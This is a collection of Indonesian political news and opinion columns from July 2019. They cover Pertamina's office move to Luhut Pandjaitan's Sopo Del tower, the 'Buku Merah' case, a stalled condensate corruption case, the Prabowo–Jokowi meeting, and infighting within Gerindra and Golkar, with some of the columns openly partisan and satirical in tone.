Oleh Bagus Ra Kuti (Wartawan Senior) Rieke Diah Pitaloka mengorek dan mengapungkan masalah sensitif soal kelakuan pejabat tinggi negeri ini. Anggota komisi VI DPR RI ini, Kamis (18/7) mencecar Direktur Utama PT Pertamina (Persero), Nicke Widyawati, terkait rencana perpindahan gedung kantor BUMN migas itu dari kawasan Medan Merdeka Jakarta ke gedung Sopo Del milik Menteri Koordinator Bidang Kemaritiman Luhut Binsar Pandjaitan. "Proses penunjukkannya seperti apa, kami minta data tertulis supaya semua ada datanya karena ini perusahaan negara. Janggal atau tidak? Urgensinya apa dan harus tertulis," cecar Rieke. Sesungguhnya isu tentang boyongan kantor PT Pertamina ke Sopo Del sudah tercium publik sebelum pemilu. Kala itu, Pertamina melelang proyek mengangkut-angkut barang pindahan tersebut di webnya. Sejumlah pihak mulai bergunjing. Rupanya isu itu benar. Eksekusinya dalam waktu dekat. Gedung milik Luhut itu bernama lengkap Sopo Del Office Tower and Lifestyle Center. Lokasinya di kawasan Mega Kuningan III, Jakarta Pusat. "Kami terharu kok bisa begini (memiliki gedung). Hidup itu ya begitulah, ini mistery of life," kata Luhut dalam acara peresmian gedung tersebut 19 Januari 2018 lalu. Luhut pantas bersyukur. Nggak dinyana, karir politik dan bisnis pensiunan jenderal ini moncer di masa tuanya. Gedung itu bertemakan budaya Batak Toba. Nama "Sopo" diambil dari Bahasa Batak yang berarti rumah atau tempat bernaung. Sedangkan Del berasal dari Bahasa Ibrani yang berarti "selangkah lebih maju". Nama-nama ruangan diambil dari Bahasa Batak, semisal Tahuluk, Sortali, Artia, Anggara, Ringkar, Sikkora, dan Samisara. Kala itu, Luhut melakukan soft opening gedung mengundang koleganya di pemerintahan, partai politik, dan bisnis. Tampak hadir di antaranya Staf Ahli Wakil Presiden, Sofjan Wanandi; Menteri Koordinator Bidang Politik Hukum dan Keamanan, Wiranto; Menteri Perindustrian, Airlangga Hartarto, hingga Menteri Pekerjaan Umum dan Perumahan Rakyat, Basuki Hadimuljono. Sopo Del terdiri dari tiga tower dibangun di atas tanah seluas 1,7 hektare. Konstruksi gedung ini dikerjakan oleh perusahaan pelat merah PT Waskita Karya (Persero) Tbk. Tower A terdiri dari 33 lantai dengan floor plan 1.900 meter persegi. Adapun Tower B yang menjadi perkantoran strata terdiri dari 18 lantai dengan floor plan 1.300 meter persegi. Tentu saja, tiga tower ini tak mungkin ditempati sebagai kantor perusahaan milik Luhut sendiri. Bisnis properti lagi menawarkan cuan tinggi. Luhut perlu membuka sewa perkantoran. Sebagai pejabat tinggi, tentu saja tak sulit baginya membisiki sejumlah Badan Usaha Milik Negara (BUMN) untuk berkantor di Del Sopo. Nicke menyebutnya itu hanya pindah sementara. Tak cuma pindah ke Sopo Del tetapi juga ke Menara Mandiri. "Pindah sementara iya sedang disiapkan, karena kita mau ke Menara Mandiri. Annex ke Sopo Del iya. Sudah ya," katanya seperti dikutip CNBC Indonesia, Jumat (19/7). Dia juga bilang dipilihnya gedung Sopo Del sudah melewati proses tender dan prosedur sesuai standar dari berbagai opsi pilihan lokasi dan gedung. Selama ini Pertamina berkantor di gedung miliknya sendiri di kawasan Medan Merdeka Jakarta. Gedung itu menurut Direktur Keuangan Pertamina, Pahala Mansury, akan direnovasi tahun depan. Wakil rakyat pantas mempermasalahkan dipilihnya Sopo Del untuk kantor BUMN migas kebanggaan bangsa ini. Jangan sampai hal itu dibiarkan sebagai misteri sehingga menjadi pelampiasan bagi pihak-pihak tertentu untuk menyalurkan hasrat aji mumpung. Mempung lagi menjabat, mumpung lagi kuat. Mumpung …mumpung …

Buku Merah Sebaiknya Dibuka Saja, Kapolri Tito Pasti Tidak Terlibat

Jakarta fnn - Penyidik Komisi Pemberantasan Korupsi (KPK) Novel Baswedan dan pengacara pribadinya Alghiffari Aqsa sebaiknya membuka saja kasus Buku Merah ke publik. Apa saja permasalahan hukum yang terkait dengan isi dari Buku Merah. Siapa saja orang-orang yang terlibat, bagusnya dibuka, sehingga bisa diketahui oleh publik dengan jelas. Tidak lagi menduga-duga “Kasus Buku Merah ini, bisa dipastikan tidak melibatkan Kapolri Jendral Tito Karnavian. Alasannya, tugas dan kewajiban Kapolri adalah memastikan hukum dapat ditegakkan dengan benar, murah, cepat serta efisien tanpa membeda-bedakan siapa dan dari kelas mana pelakuknya. Dengan demikian, tidak mungkin Kapolri Tito Terlibat kasus Buku Merah, “ujar politisi Partai Nasdem Kisman Latumakulita di Jakarta Jumat (19/07) Ditambahkan Kisman, ikon yang menjadi visi misi Tito sebagai Kapolri adalah Promoter (Profesional, Modern dan Terpercaya). Dengan ikon Promoter yang menjadi landasan pijakan kerja utama sebagai Kapolri, maka dipastikan Tito tidak terlibat kasus Buku Merah. Kecuali Tito mau mengkhianati ikon Promoter dan institusi kepolisian. Haqul yakin itu tidak mungkin dilakukan oleh Tito Publik sudah terlalu lama saling duga-menduga, saling tuduh-menuduh dan saling fitnah-memfitnah tentang apa yang tertulis dalam isi Buku Merah. Dan ujung-ujungnya dari semua itu adalah memproduksi dosa. Untuk itu, sebaiknya dibuka saja ke publik. Janganlah sampai ada dosa diantara, “kata Kisman yang juga wartawan senior tersebut Novel Baswedan dan pengacaranya Alghiffari Aqsa meminta agar Tim Pecari Fakta (TPF) kasus Novel Baswedan menambahkan Buku Merah sebagai salah dari enam kasus yang sudah disebut TPF menjadi latar belakang penyerangan terhadap dirinya. Alasan Novel karena Kapolri Tito pernah bertemu dengannya, dan menanyakan apakah dirinya sebagai penyidik Buku Merah “Selain itu, kasus Buku Merah dikaitkan dengan dua penyidik KPK, yaitu AKBP Roland Ronaldy dan Kompol Harun yang dikembalikan ke institusi asalnya Mabes Polri. Cerita sekitar Buku Merah juga dihubungkan dengan Basuki Hariman dan mantan Hakim Konstitusi Patrialis Akbar. Masih banyak cerita lain yang dari Buku Merah yang belom diungkap ke publik, “tambah Kisman Sebaiknya jangan terlalu berlama-lama masyarakat diberi bahan untuk saling tuduh-menuduh, fitnah-memfitnah dan sejenisnya. Untuk itu, Buku Merah perlu dibuka saja kepada publik. Biarkan publik mengetahui tentang Buku Merah apa adanya, terutama isi bukunya. Publik berhak tahu apa saja hal-ihwal atau masalah-masalah penting yang dicatat oleh Basuki Hariman atau stafnya di buku yang bersampul merah tersebut Menurut Kisman, kalau isi Buku Merah tidak berani untuk dibuka kepada publik, maka jangan-jangan cerita yang bersileweran di masyarakat mengenai buku ini hanya dongeng atau pepesan kosong saja. Sebaliknya, cerita ini justru dijadikan alat untuk memperoleh posisi tawar, bahkan bisa untuk saling tekan-menekan diantara sesama anak bangsa. Sementara hasil yang diperoleh publik hanya dosa yang tidak pernah berakhir. Jika Buku Merah tidak dibuka Novel Baswedan dan pengacaranya Alghiffari Aqsa kepada publik, Kisman malah menduga ada kekuatan lebih besar dari Kapolri Tito yang terlibat kasus Buku Merah. Kekuatan besar inilah yang sebenarnya memperalat Buku Merah dengan cara menghembuskan tududahan dan fitnah seakan-akan Kapolri Tito Terlibat. Targe utamanya untuk mendiskreditkan institusi kepolisian dan Kapolri Tito “Dengan membuka ke publik, diharapkan kekuatan besar yang bersembunyi dibalik kasus Buku Merah tersebut bisa terlihat aslinya. Orang-orangnya juga bisa dimintai pertanggung jawaban hukum. Milsanya, apakah ada keterlibatan mereka dengan impor daging dan judicial review undang-undang yang diproses di Mahkamah Konstitusi terkait impor daging. Apakah ada keterterkaitan mereka dengan penyiraman air keras ke muka Novel Baswedan, “tutur Kisman (lohy)

Korupsi Kondensat Rp 38 Triliun Mangkrak di Jampidsus 4 Tahun

Oleh Luqman Ibrahim Soemay Jakarta, FNN - Skandal mega korupsi kondensat sebesar Rp 38 triliun sampai sekarang masih mangkrak di Gedung Bundar Kejaksaan Agung. Entah mengapa, korupsi terbesar dalam sejara Indonesia sejak medeka 17 Agustus 1945 lalu tersebut hingga kini masih mendam di Jaksa Agung Muda Pidana Khusus (Jampidsus). Kasus ini hanya berjalan di tempat. Tidak ada kemajuan apa-apa, namun tidak juga mundur ke belakang Sejak awal Januari tahun 2018, Jampidsus Adi Toegarisman sudah berkali-kali mengatakan bahwa berkas perkara korupsi kondensat sudah lengkap atau P-21. Dengan demikian, perkara ini sudah siap untuk dibawa ke pengadilan. Sayangnya, sampai sekarang tidak ada kabar beritanya Biasanya kalau sudah P-21, maka seharusnya sudah dapat dibawa ke pengadilan. Namun jika Jampidsus Adsi Toegarisman beranggapan tidak cukup alasan hukum untuk dibawa ke pengadilan, maka sebaiknya segera dikeluarkan Surat Penghentian Penuntutan Perkara. Tujuannya, untuk memberikan kepastian hukum terhadap setiap perkara korupsi yang sudah dinyatakan P-21 oleh Jaksa Pemeriksa atau Jaksa Peneliti Selain itu, untuk memberikan kesempatan yang luas kepada publik, khususnya pegiat anti korupsi untuk menilai. Apakah perkaran korupsi kondensat ini layak untuk diberikan Surat Penghentian Penuntutan Perkara oleh Jampidsus. Kalau publik menilai tidak layak, maka publik dapat mengajukan gugatan praperadilan ke pengadilan untuk diuju penghentian penuntutan di pengadilan. Penyidik Direktorat Tindak Pidana Ekonomi dan Khusus (Eksus) Bareskrim Polri sudah menetapkan tiga orang tersangka. Namun kabar kelanjutan tentang perkara kondensat ini seperti telah ditelan bumi. Apakah bakal dilanjutkan sampai ke pengadilan atau dihentikan penuntutannya. Sampai sekarang tidak terdengar lagi, bahkan semakin masih gelap Polisi menetapkan dua orang tersangka dari Satuan Kerja Khusus (SKK) Migas, yaitu mantan Kepala SKK Migas Raden Priyono dan Diputi Bidang Finansial, Ekonomi dan Pemasaran SKK Migas Djoko Harsono. Sedangkan satu tersangka lagi dari PT Trans Pasific Petrochemoical Indotama (TPPI), yaitu pemiliknya sendiri Honggo Wendratmo Kasus mega korupsi kondensat ini sudah disidik oleh Direktorat Tindak Pidana Eksus Bareskrim Polri sejak tahun 2015 silam. Dengan demikian, kasus ini sudah mangkrak di Gedung Bundar Kejaksaan Agung selama empat tahun. Penanganannya sudah melewati tiga orang Jampidsus, yaitu Widyo Pramono, Arminsyah dan Adi Toegarisman. Sedangkan Kabareskrim yang menangani kasus ini sudah lima orang. Dimulai pertama kali oleh Komjen Budi Waseso. Kabareskim berikutnya yang mengusut kasus ini setelah Budi Waseso adalah Komjen Anang Iskandar. Setelah itu dilanjutkan oleh Komjen Aridono Sukmanto, Komjen Arief Sulisyianto dan sekarang Komjen Idham Azis. Sayangnya, kasus korupsi ini sampai sekarang belum juga sampai ke pengadilan. Entah apa penyebabnya? Tidak juga ada kejelasan dari penguasa Gedung Bundar. Mungkin saja karena nilai korupsinya yang terbilang sangat besar, yaitu U$ 2,716 miliar dollar, sehingga tidak kunjung sampai ke pangadilan untuk disidangkan. Jika dihitung dengan kurs tengah yang berlaku sekarang di pasar valuta asing Rp 14.000 per dollar Amerika, maka nilainya setara dengan Rp 38 triliun. Nilai korupsi kondensat ini memang teramat besar. Nilanya melebihi kasus korupsi e-KTP yang mencapai Rp 2,5 triliun, dan menyeret mantan Ketua DPR dan Ketua DPP Partai Golkar Setya Novanto duduk di kursi terdakwa. Nilainya juga lebih besar dari kasus korupsi Bank Century sebesar Rp 6,7 triliun, yang menyeret pemiliknya Robert Tantular dan dua mantan Deputi Bank Indonesia, almarhum Budi Mulya dan almarhum Sitti Fajriah. Korupsi kondensat ini mangkrak di gedung bundar, karena patutu diduga adanya keterlibatan atau intervensi dari tangan-tangan kuat dan kuasa gelap. Mereka pemilik kuasa gelap itu pada umumnya bersembunyi dibalik kebesaran kekuasaan lembaga istana negara dan lembaga kepresidenan. Diduga orang-orang inilah yang menghalangi dan menekan Jaksa Agung dan Jampidsus agar kasus ini jangan sampai dibawa ke pengadilan. Mangkraknya kasus korupsi kondensat ini sangat memperburuk wajah Kejaksaan Agung dalam hal pemberantasan korupsi. Sangat wajar kalau publik kemudian meragukan, bahkan menyangsikan keseirusan jajaran Kejaksaan Agung terkait kegiatan pemberantasan korupsi. Kejakasaan Agung di bawah kepemimpinan Jaksa Agung HM Prasetyo dan Jampidsusus Adi Toegarisman patut diduga tidak punya komitmen dan keseriusan untuk membawa kasus-kasus korupsi yang bernilai triliunan rupiah ke pengadilan. Sangat beralasan bila hari ini publik meraruh harapan besar dan tinggi kepada KPK. Publik pada akhirnya menempatkan dan menaruh harapan besar kepada KPK sebagai garda terdepan dan terpenting satu-satunya di negeri ini untuk kegiatan pemberantasan korupsi. Lembaga penegak hukum di luar KPK dianggap publik tidak mempunyai komitmen yang sungguh-sungguh terhadap upaya pemberantasan korupsi. Kalaupun ada satu atau lebih perkara korupsi yang disidik dan dibawa ke pengadilan oleh jajaran kejaksaan, maka itu hanya sekedar basa-basi saja. Nilainya juga jarang yang mencapai trilunan rupiah. Untuk itu ke depan diperlukan Jaksa Agung dan Jampidsus yang mempunyai komitmen dan kemauan yang tinggi terhadp upaya-upaya pemberantasan korupsi. *)

Misteri Pertemuan Prabowo-Jokowi, Manuver Siapa?

Oleh Mochamad Toha Jakarta, FNN - Ketum Partai Gerindra Prabowo Subianto mengunggah sebuah gambar dalam akun Instagramnya @prabowo setelah pertemuannya dengan Presiden Joko Widodo di Statisun MRT Lebak Bulus, Sabtu (13/7/2019). Prabowo menegaskan, ia tak akan pernah terjadi tawar menawar terhadap cita-cita dan nilai yang dipegangnya. “Seluruh hidup saya telah saya persembahkan kepada kepentingan Bangsa dan Republik Indonesia,” ungkapnya. “Saya tidak akan pernah tawar-menawar terhadap cita-cita dan nilai yang saya pegang yaitu Indonesia yang merdeka, berdaulat, adil, dan makmur,” kata Prabowo. Ia juga menginginkan Indonesia yang berdiri di atas kaki sendiri. Rakyat Indonesia yang menikmati hasil kekayaan dari Indonesia sendiri. “Indonesia yang utuh dari Sabang sampai Merauke, Bhinneka Tunggal Ika yang berdasarkan UUD ’45,” tulis Prabowo dalam akun Instagramnya @prabowo. Sebelumnya, Presiden Jokowi bertemu dengan Prabowo Subianto Sabtu pagi tadi di Stasiun MRT Lebak Bulus. Pertemuan ini adalah hasil kerja sama tiga tokoh penting. Mereka adalah Kepala BIN Budi Gunawan, Sekretaris Kabinet yang juga politisi PDIP Pramono Anung dan politisi Partai Gerindra Edhy Prabowo. Presiden Partai Keadilan Sejahtera (PKS) Sohibul Iman mengakui, Prabowo menyuratinya soal pertemuan dengan Jokowi. Dalam surat tersebut Prabowo menjelaskan tujuan bertemu Jokowi. Jumat (22/7/2019) sekitar pukul 23.00 WIB, utusan Prabowo antar surat ke rumahnya untuk memberitahu, besok atau lusa atau lain waktu, Prabowo akan bertemu Jokowi. “Tujuannya menjaga hubungan baik. Tidak disebutkan agendanya secara spesifik,” kata Sohibul. Ia menilai pertemuan tersebut wajar saja terjadi. Sebab, setiap partai memiliki sikap masing-masing. “Tidak setiap langkah politik elit harus dikomentari. Entar bikin gaduh. PKS tentu juga punya sikap politik sendiri yang akan ditentukan melalui Musyawarah Majelis Syuro,” kata Sohibul, Senin (15/7/2019). Sebelumnya, surat serupa juga dikirim Prabowo kepada Ketua Dewan Kehormatan PAN Amien Rais. Ia mengatakan mantan capres Prabowo sempat mengirimkan surat padanya ke kediamannya di Jogjakarta pada 12 Juli 2019. Seperti dilansir Viva.co.id, Senin (15/7/2019), surat tersebut berisi pemberitahuan Prabowo yang akan bertemu Jokowi pada Sabtu, 13 Juli 2019. “Isinya Pak Amien, kemungkinan 13 Juli akan ada pertemuan dengan Jokowi. Bagi saya Pak Amien, kepentingan lebih besar yaitu keutuhan bangsa NKRI, itu lebih saya pentingkan,” kata Amien menirukan surat Prabowo padanya, Senin, 15 Juli 2019. Ia menambahkan pada paragraf kedua surat Prabowo, dituliskan setelah pertemuan tersebut, Prabowo akan menemui Amien di Jogjakarta atau Jakarta. Dan, Selasa (16/7/2019), Amien sudah bertemu Prabowo di Jakarta. Terkait isu Rekonsiliasi, lucu baginya bila dalam bentuk bagi-bagi kursi. Justru bagi kursi bukanlah rekonsiliasi karena dianggap politisi tak lagi memiliki kekuatan moral dan tidak memegang disiplin partai. “Sekarang saya tetap, rekonsiliasi agar bangsa tak pecah saya 1.000 persen setuju, Mbah-nya setuju. Tapi, jangan sampai itu diwujudkan dengan bagi-bagi kursi, karena apa gunanya dulu bertanding ada dua paslon tapi ujung-ujungnya lantas bagi-bagi,” kata Amien. Perang Dalang Ada yang menarik dari catatan Direktur The Global Future Institute (GFI) Hendrajit. “Lepas dari sikap kritis saya terhadap langkah politik Prabowo, amati riil politiknya. Kesampingkan dulu emosi. Jadi jangan cuma retorika. Atau spekulasi,” katanya. Ibarat cerita. Kita petakan dulu para aktornya. Pertama, di pihak Jokowi, principal character-nya ada tiga. Budi Gunawan, Pramono Anung, dan Erick Tohir. Di pihak Prabowo, ada dua. Ahmad Muzani dan Edhy Prabowo. “Apa yang bisa kita simpulkan sampai di sini. Kedua kubu nggak ingin bawa banyak pemain yang bikin ribet,” lanjut Hendrajit kepada PepNews.com. Kedua, seperti dalam tulisan Hendrajit sebelumnya, dengan formasi tiga serangkai BG-Pram-Erick, dirigen politik adalah BG. Apa karena dia Kepala BIN? Bukan. BG ini hububungan aatau pemain penghubung Megawati Soekarnoputri dan Jusuf Kalla sejak 2014. Karena BG orang kepercayaan Mega dari dulu. Kemudian, Pram. Sebetulnya dia juga orang kepercayaan Mega, tapi dari sayap lain. Dia alumni ITB. Beberapa kali jadi direktur operasi beberapa perusahaan minyak. Orang dekat pengusaha minyak Arifin Panigoro. Hebatnya Pram yang asli Jawatimuran (tepatnya Kediri) ini, bisa main cantik di PDIP, jadi orang kepercayaan Mega, tapi tak dimusuhi Taufik Kiemas (alm). Biasanya kalau dekat salah satu, pasti tidak disenangi satunya. “Jadi kalau Pram jadi Sekretaris Kabinet Jokowi, bisa kebayang kan pengaruhnya kayak apa,” ungkap Hendrajit. Bagaimana Erick? Tentu saja dia dilibatkan dalam pertemuan MRT bukan karena Ketua TKN Joko Widodo – Ma’ruf Amin. Tapi karena Erick itu pengusaha dari jaringan JK. Dan bersama Sandi, sama-sama termasuk Astra Connection. Apapun ceritanya dulu, Erick dan Sandi pernah dekat Edward Suryajaya. “Eng ing eng. Mulai nyambung ye?” lanjutnya. Dalam formasi Prabowo, ada Muzani, orang setia Prabowo dari jaman masih susah plus Edhy Prabowo. Dari sini saja bisa tergambar, Prabowo ingin pegang kendali penuh. Tanpa direcoki pemain-pemain Gerindra lainnya yang punya hobi improvisasi. Setelah memotret para aktor. Apa skema dan skenario dari perundingan para aktor tersebut? Okelah anggap saja polibiro lima memang nggak diikutkan dengan berbagai alasan. Tapi apa agenda yang mau diseting Mega, JK, dan Prabowo? Inilah pertanyaan krusial di balik kemarahan dan kekecewaan publik pendukung Prabowo. Sebab kalau melihat konstruksi para aktor yang manggung di MRT, kelihatan sekali sarat kepentingan ekonomi bisnis para konglomerat. Semua itu terkait migas, tambang batubara, dan otomotif. Amerika Serikat, Jepang, China, pastinya ikut nimbrung juga. JK misalnya, dekat dengan Huwa Huwei. Erick dan Sandi dekat Astra dan Jepang. “Melalui keduanya, kalau Ginanjar Kartasasmita dan Jepang deal, Sandi dan Erick yang jadi eksekutornya di tingkat teknis,” ungkap Hendrajit. Lantas bagaimana dengan gang of five. AM Hendropriyono meski tak ikutan acara MRT, dia sekutu Ginanjar saat 1998 rame-rame mundur dari Kabinet Suharto. Luhut Binsar Panjaitan juga sama. Dia dan Arifin sudah Cs-an dari sejak KAMI-KAPPI 1966 waktu di Bandung. Arifin lebih senior. Apalagi ayahnya Luhut pernah di Stanvac, cikal bakal Medco miliknya Arifin. Susilo Bambang Yudhoyono juga seirama sama Hendro dan Luhut. Cuma kemudian SBY mampu membuat jaringan dan komunitas sendiri. Sehingga Hendro dan Luhut tidak bisa mengatur junior satu ini seenaknya. Dan Moeldoko walau pernah jadi Sekpri Hendro, lebih solid hubungannnya dengan SBY. Makanya, waktu masuk jadi Kepala KSP, Pram dan Pratikno, apalagi Teten Masduki, sempat kelimpungan. “Tapi sekarang kabarnya semua sudah happy. Dapat bagian yang sama,” ujar Hendrajit. Well, inilah medan tempur yang harus dihadapi Prabowo dalam perang diplomasi pasca pertemuan MRT? Prabowo yang mampu mengubah sistem atau malah terserap dan diubah oleh sistem? “Sekarang ngerti sendiri dong kalau emak-emak militan pada meradang?” lanjut Hendrajit. Hanya sampai di sinikah? Ternyata tidak juga. Coba saja petakan lagi siapa yang hadir saat Jokowi bertemu Prabowo. Prabowo bertemu Jokowi tersebut, bukan akhir dari Pilpres 2019. Tapi, ini adalah awal dari sebuah cerita. Pertemuan Teuku Umar, Cendana, dan Hambalang. Kisahnya makin berbelit dan penuh kejutan buat SBY, Luhut, dan Hendro, serta CSIS. Mengapa Luhut yang biasanya selalu “mengawal” Jokowi tidak tampak batang hidungnya? Kalau Hendro dan SBY jelas tidak pernah secara atraktif menunjukkan berada di belakang Jokowi. SBY adalah primus inter pares diantara ketiganya. Saya yakin, saat ini yang kebingungan adalah SBY Cs dan CSIS. Kubu mereka selama ini berharap Prabowo tak menemui Jokowi, sehingga lebih mudah memainkan Jokowi. Inilah perangnya Ki Dalang di belakang Jokowi maupun Prabowo. Manuver MRT Lebak Bulus ini insya’ Allah akan berefek positif, paling cepat sepekan ke depan! ***

Kader Gerindra Ramai-Ramai Menggugat Prabowo Subianto

Jakarta, FNN - Babak belur, mungkin kata ini tepat untuk menggambarkan kondisi mantan calon presiden 2019 Prabowo Subianto saat ini. Setelah kalah Pilpres, ditolak Bawaslu, ditolak Mahkamah Konstitusi, ditolak Mahkamah Agung, kini ia digugat kadernya sendiri, yakni 14 calon anggota legislatif yang gagal masuk ke senayan. Ada Mulan Jameela istri Ahmad Dani dan Rahayu Saraswati keponakan Prabowo Subianto. Dalam gugatan perdata yang teregistrasi dengan nomor 520/Pdt.Sus.Parpol/2019/PN JKT.SEL terkait penetapan calon anggota legislatif terpilih, mereka menggugat Ketua Umum sekaligus Ketua Dewan Pembina Gerindra itu. Dalam gugatannya kepada Prabowo, para penggugat berdalih bahwa mereka adalah tokoh-tokoh partai yang telah memberikan jasa besar atas perjuangan Partai Gerindra sehingga bisa menjadi pemenang kedua dalam gelaran Pemilu 2019. Atas dasar tersebut pula para penggugat menggugat Prabowo agar segera menetapkan mereka sebagai anggota DPR RI terpilih. "Bahwa inti gugatan ini adalah pelanggaran hak Para Penggugat selaku Anggota dan bahkan kader Partai Gerindra yaitu hak untuk menentukan kebijakan serta hak untuk dipilih (Pasal 15 ayat (2) UU Nomor 2 Tahun 2008 Tentang Partai Politik) oleh Para Tergugat karena tidak menetapkan Para Penggugat sebagai Anggota Legislatif dari Partai Gerindra yang secara rinci akan diuraikan dalam uraian pokok perkara," seperti dikutip kumparan dari berkas hukum yang diterima, Senin (15/7). Para penggugat yang tercantum namanya dalam gugatan antara lain Rahayu Saraswati Djodjohadikusumo (Ketua DPP Partai Gerindra Bidang Advokasi Perempuan); Raden Terry Tantri Wulansari alias Mulan Jameela; Sugiono (Wakil Ketua Umum DPP Partai Gerindra); Prasetyo Hadi (Ketua OKK DPP Partai Gerindra); Adnani Taufik (Ketua DPP Partai Gerindra); Adam Muhammad (Pengurus DPP Partai Gerindra); Dr. Irene (Petinggi Gerindra); dan lainnya. Para penggugat menyatakan bahwa gugatan yang mereka layangkan kepada Pengadilan Negeri Jakarta Selatan adalah sah. "Bahwa Majelis Kehormatan Partai Gerindra telah memeriksa perkara ini secara cepat dan mempersilakan para penggugat mengajukan gugatan ke Pengadilan Negeri. Bahwa dengan demikian jelaslah jika Pengadilan Negeri Jakarta Selatan berwenang mengadili gugatan ini," demikian yang tertulis di berkas gugatan itu. Dikonfirmasi terpisah, Humas Pengadilan Negeri Jakarta Selatan Achmad Guntur membenarkan adanya gugatan tersebut. Namun, Guntur belum merinci kapan gugatan didaftarkan dan kapan mulai disidangkan. "Iya benar (ada gugatan tersebut)," kata Achmad Guntur. (sws)

Saling Cakar di Internal Golkar

Oleh Nasrudin Joha Jakarta, FNN - Ketua DPD II Golkar Cirebon Toto Sunanto mengaku dipecat. Toto menyebut pemecatan lantaran dirinya mendukung Bambang Soesatyo (Bamsoet) sebagai calon ketua umum Partai Golkar. DPP Partai Golkar membantah klaim tersebut. Ketua DPP Golkar Ace Hasan Syadzily mendapatkan informasi berbeda dari Ketua DPD Golkar Jawa Barat, Dedi Mulyadi. Ketua DPD Golkar Jawa Barat, Dedi Mulyadi membenarkan ada pemecatan terhadap Ketua DPD Partai Golkar Kota Cirebon, Toto Sunarto. Namun menurut Dedi, pemecatan itu bukan karena Toto mendukung Bambang Soesatyo sebagai calon ketua umum Partai Golkar. Dia menjelaskan, pemecatan terhadap Toto dilakukan pada dari 18 Juni 2019 lalu karena diduga melakukan sejumlah pelanggaran. Keputusan itu mengacu pada Surat Keputusan DPD Partai Golkar Jabar NOMOR : KEP- 116 /GOLKAR/VII/2019 tentang Pembentukan Pelaksana Tugas (Plt) Ketua DPD Golkar Kota Cirebon. Sebelum melanjutkan membaca ulasan artikel ini, Anda perlu membaca ulang tulisan saya yang berjudul : Golkar dan Masa Depan Politik Ken Arok. Jadi, saya tegaskan bahwa soal perebutan kekuasan partai di kubu-kubu Golkar itu sudah biasa. Pasca konggres terjadi pembersihan trah politik di tubuh Golkar itu juga cerita lama. Anda masih ingat, pasca lengsernya ketum partai, Golkar mengalami proses pembersihan sejumlah loyalis eks Ketum di struktur Golkar yang baru. Sejarah de-wahonoisasi, de-harmokoisasi, de-akbarisasi, hingga de-ichalisasi, adalah potret dimana loyalis Ketum langsung dipangkas oleh Ketum yang baru dan tak diberi peran signifikan dalam stuktur kepengurusan partai. Kasus ini bukan murni terjadi pada Golkar, hal ini juga terjadi pada PKB, PPP, dan PKS. Di PKB ada program de-gusdurisasi yang digelorakan Cak Imin. Di PPP ada de-suryadharmaisasi ketika era Romi sebelum dicokok KPK. Di PKS ada de-anisisasi, pasca Anis Matta lengser dari kursi Ketum, semua loyalis Anis -termasuk Fahri Hamzah- didepak dari struktur pengurus inti partai. Kembali kepada kasus Golkar, pemecatan ketua DPD Golkar Cirebon itu tidak lepas dari dinamika perebutan kursi kekuasan, baik di partai dan didalam pemerintahan, yang dapat kita simpulan dari realitas politik sebagai berikut : Pertama, Toto Sunanto adalah loyalis Bamsoet. Dia dipecat sesaat setelah menyatakan dukungan bagi Bamsoet. Jadi, alasan pemecatan karena mendukung Bamsoet secara politik itu yang dapat diyakini kebenarannya. Adapun soal lain, soal laporan keuangan partai, soal pelanggaran AD ART itu dalih saja. Kalau mau dipecat, sangat mudah mencari kesalahan dan dibenturkan dengan AD ART partai. Apalagi, secara umum semua kader partai apalagi menjabat pimpinan struktural, mustahil tak memiliki borok politik. Secara internal, manuver Toto ini berbahaya bagi Airlangga. Secara berjenjang, juga berbahaya bagi Dedi Mulyadi selaku Ketum DPD Golkar Jabar. Dedi Mulyadi adalah tokoh gerbong politik Airlangga, trah Luhut, sehingga perlu menertibkan bawahannya untuk mengamankan klan politik Golkar yang dia berada dalam naungannya. Kedua, selain motif internal untuk mengamankan posisi Airlangga, langkah ini juga diyakini untuk memuluskan proses tawar menawar posisi menteri Golkar yang sedang dipandu oleh Airlangga selaku Ketum. Dedi Mulyadi yang namanya disebut-sebut masuk bursa calon menteri dari Golkar, merasa wajib mengamankan posisi Airlangga sebagai juru runding Golkar untuk bernegosiasi dengan rezim Jokowi, agar proposal menteri -dimana Dedi Mulyadi ada didalamnya- dapat diamankan. Jika posisi Airlangga tergeser Bamsoet, apalagi jika konggres dipercepat sebelum Desember, maka juru runding Golkar untuk negosiasi jabatan menteri bukan lagi Airlangga tetapi Bamsoet. Jika Bamsoet yang memimpin proses negosiasi, sudah jelas nama Dedi Mulyadi dicoret dari daftar calon menteri dan digantikan oleh loyalis Bamsoet. Jadi, pemecatan ketua DPD II Golkar Cirebon itu sangat berkaitan era dengan dinamika perebutan kursi kekuasan partai Golkar sekaligus perebutan kursi kekuasan menteri di pemerintahan Jokowi - Ma'ruf. Sampai disini Anda paham bukan ? Bahwa kerjaan partai itu hanya berebut kekuasaan, mereka tidak pernah memikirkan kita, mereka tidak pernah memikirkan rakyat. [].

Ruwetnya Jokowi Bagi Bagi Kursi

Oleh Nasrudin Joha Hihihi, ternyata yang paling ruwet itu bukan memenangkan konstestasi. Untuk menang, rumusnya sederhana : curang. Untuk curang, rumusnya juga sederhana : kuasai seluruh lembaga otoritas pemilihan dan alur justisia jika terjadi sengketa. Tapi, yang ruwet dan super membingungkan itu bagaimana membagi kompensasi kemenangan. Sebab, dengan rumus apapun proses distribusi menteri dan jabatan strategis kabinet Jokowi - Ma'ruf, sulit menemukan kata 'adil' dan 'sepakat' dari semua mitra koalisi. Pertama, jika porsi menteri dibagi berdasarkan jumlah kursi parlemen yang diperoleh partai di Senayan, jelas rumus ini tak akan bikin Happy semua partai. Hanura, PKPI, PSI, PPP akan merasa dirugikan. Hanura contohnya, Wiranto berani berada terdepan pasang badan untuk Jokowi. Bahkan, seluruh 'ancaman' elektabilitas secara politik, hukum dan keamanan, di back up penuh Wiranto. Padahal, Hanura tak punya satupun kursi di Senayan. Lantas, apakah kemudian Hanura juga tidak punya jatah menteri ? PSI dan PKPI juga sama, meski tak lolos Senayan keduanya 'getol' dukung Jokowi. Masak, mereka dianggap cuma kerja bhakti ? Masak tidak ada satupun jatah kursi ? Jika rumus porsi menteri berdasarkan porsi kursi parlemen yang diperoleh partai pendukung secara proporsional sebagaimana diusulkan JK, jelas ini akan membuat PSI, PKPI dan Hanura meradang. Hal ini, juga akan menyengsarakan PPP. Sebab, suara PPP turun drastis, tapi komitmen dukungan PPP pada Pilpres 2019 jelas jauh lebih besar ketimbang Pilpres 2014. Dahulu, dengan modal merapat saja PPP dapat satu porsi menteri. Masak, sekarang sejak awal berjibaku untuk Jokowi tidak ada tambahan ? Kedua, jika distribusi menteri dibagi 